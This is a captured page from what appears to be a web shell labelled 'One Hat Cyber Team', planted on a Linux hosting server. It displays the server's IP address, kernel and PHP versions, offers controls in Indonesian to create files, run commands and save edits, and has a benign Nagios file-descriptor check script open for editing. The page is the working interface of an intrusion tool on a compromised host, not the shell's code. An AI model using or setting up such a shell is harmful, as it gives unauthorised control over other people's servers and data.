One Hat Cyber Team
Your IP :
216.73.217.126
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib64
/
nagios
/
plugins
/
custom
/
Edit File:
check_nofiles
#!/bin/bash _WARN=$1 _CRIT=$2 _PNAME=$3 _PUSER=$4 STATE_OK=0 STATE_WARNING=1 STATE_CRITICAL=2 STATE_UNKNOWN=3 STATE_DEPENDENT=4 RETVAL=${STATE_UNKNOWN} if [ -z "${_CRIT}" ]; then echo "Usage: $0 <WARNING_PERCENT> <CRITICAL_PERCENT> [process_name [process_owner]]" else if [ -z "${_PNAME}" ]; then _PNAME='httpd' fi if [ -n "${_PUSER}" ]; then _UPARAM="-u ${_PUSER}" fi _CH_PID=$( pgrep "${_PNAME}" ${_UPARAM} -o ) _LIMIT=$( grep '^Max open files' /proc/${_CH_PID}/limits | cut -c 34-68 | tr -d ' ' ) _NOFILES_USED=$( ls -1 /proc/${_CH_PID}/fdinfo/ | wc -l ) _CURR_RATE=$(( ${_NOFILES_USED} * 100 / ${_LIMIT} )) if [ ${_CURR_RATE} -ge ${_CRIT} ]; then echo "CRITICAL: ${_NOFILES_USED}/${_LIMIT} Fildescriptors used by '${_PNAME}'! (${_CURR_RATE}% is more than ${_CRIT}%)|nofiles_used=${_NOFILES_USED};${_LIMIT};" RETVAL=${STATE_CRITICAL} elif [ ${_CURR_RATE} -ge ${_WARN} ]; then echo "WARNING: ${_NOFILES_USED}/${_LIMIT} Fildescriptors used by '${_PNAME}'! (${_CURR_RATE}% is more than ${_WARN}%)|nofiles_used=${_NOFILES_USED};${_LIMIT};" RETVAL=${STATE_WARNING} else echo "OK: ${_NOFILES_USED}/${_LIMIT} Fildescriptors used by '${_PNAME}'. (${_CURR_RATE}% is less than ${_WARN}%)|nofiles_used=${_NOFILES_USED};${_LIMIT};" RETVAL=${STATE_OK} fi fi exit ${RETVAL}
Simpan